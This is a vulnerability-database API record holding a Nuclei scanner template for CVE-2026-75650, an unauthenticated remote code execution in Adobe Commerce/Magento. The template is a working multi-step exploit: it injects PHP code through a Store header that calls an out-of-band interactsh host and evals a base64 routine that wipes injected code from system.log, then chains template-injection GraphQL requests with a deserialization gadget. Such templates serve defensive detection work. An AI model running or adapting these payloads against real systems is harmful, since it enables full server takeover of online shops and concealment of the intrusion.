{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-75650/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-75650/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-75650/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-75650/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-75650/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-75650"},"sightings":{"href":"/api/v1/sightings/cve-2026-75650"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-75650.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-75650\n\ninfo:\n  name: Adobe Commerce/Magento <= 2.4.9 - StyleSmuggler Unauthenticated RCE via SSTI\n  author: k0pak4\n  severity: critical\n  description: |\n    Adobe Commerce contains a template injection caused by improper neutralization of special elements in the template engine, letting attackers execute arbitrary code in the context of the current user, exploit requires no user interaction\n  impact: |\n    Attackers can execute arbitrary code in the context of the current user, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of Adobe Commerce.\n  reference:\n    - https://helpx.adobe.com/security/products/magento/apsb26-146.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-75650\n    - https://sansec.io/research/stylesmuggler-0day\n    - https://github.com/bigbridge-nl/magento2-stylesmuggler-deferred-directives-fix\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-75650\n    epss-score: 0.03949\n    epss-percentile: 0.90445\n    cwe-id: CWE-1336\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: adobe\n    product: magento\n    shodan-query: http.component:\"Magento\"\n    fofa-query: app=\"Magento\"\n  tags: cve,cve2026,magento,adobe-commerce,ssti,rce,oast,kev,vkev\n\nvariables:\n  cleanup_b64: \"JGw9ZGlybmFtZShfX0RJUl9fLDIpLicvdmFyL2xvZy9zeXN0ZW0ubG9nJzskYz1maWxlX2dldF9jb250ZW50cygkbCk7ZmlsZV9wdXRfY29udGVudHMoJGwscHJlZ19yZXBsYWNlKCcvXDxcPy4qP1w/XD4vcycsJycsJGMpKTs=\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Store: <?php dns_get_record('{{interactsh-url}}',DNS_A);eval(base64_decode('{{cleanup_b64}}')); ?>\n\n        {\"query\":\"{ storeConfig { store_code } }\"}\n\n    matchers:\n      - type: word\n        words:\n          - \"Requested store is not found\"\n        part: body\n        internal: true\n\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"mutation { createEmptyCart }\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"createEmptyCart\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: cart_id\n        json:\n          - '.data.createEmptyCart'\n        internal: true\n\n  - raw:\n      - |\n        POST /graphql HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"mutation s($c:String!,$a:CartAddressInput!){setBillingAddressOnCart(input:{cart_id:$c,billing_address:{address:$a}}){cart{billing_address{company}}}}\",\"variables\":{\"c\":\"{{cart_id}}\",\"a\":{\"firstname\":\"Test\",\"lastname\":\"User\",\"street\":[\"{{if postcode}}{{var postcode}}{{/if}}{{/var}}{{if postcode}}{{var postcode}}{{/if}}{{if city}}{{block class=Magento\\\\Email\\\\Block\\\\Adminhtml\\\\Template\\\\Preview}}{{/if}}\"],\"city\":\"Austin\",\"region\":\"TX\",\"postcode\":\"{{var postcode}}\",\"country_code\":\"US\",\"telephone\":\"5125551234\"}}}\n\n    skip-variables-check: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"setBillingAddressOnCart\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /graphql?text=%7B%7Bblock%20class%3DMagento%5CBackend%5CBlock%5CWidget%5CGrid%5CColumnSet%20rowUrl%3D%24this.template_styles%20cache_key%3Dy%7D%7D&type=2&styles%5Bfirst%5D=..%2Fvar%2Flog%2Fsystem.log&styles%5BgeneratorClass%5D=Aws%5CS3%5CS3Client&styles%5Bregion%5D=us-east-1&styles%5Bversion%5D=latest&styles%5Bs3_us_east_1_regional_endpoint%5D=regional&styles%5Bwith_resolved%5D%5B0%5D%5Binstance%5D=Magento%5CSetup%5CModule%5CDi%5CCode%5CScanner%5CArrayScanner&styles%5Bwith_resolved%5D%5B1%5D=collectEntities&styles%5Bpath%5D=dummy HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\":\"mutation { handlePayflowProResponse(input: { cart_id: \\\"{{cart_id}}\\\", paypal_payload: \\\"RESULT=12&RESPMSG=Declined&PNREF=A10AAF767051\\\" }) { cart { id } } }\"}\n\n    skip-variables-check: true\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n          - \"http\"\n        condition: or\n# digest: 4b0a004830460221009471c287854407da3a2e87e8f9f819b330d9d96f1a3ba033c8ef6e8395cf2588022100bc6e6ac15e6b0bfd3da53b70bc7246dbbb9994f1ab81eee4c6a5c91c69465911:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-75650"}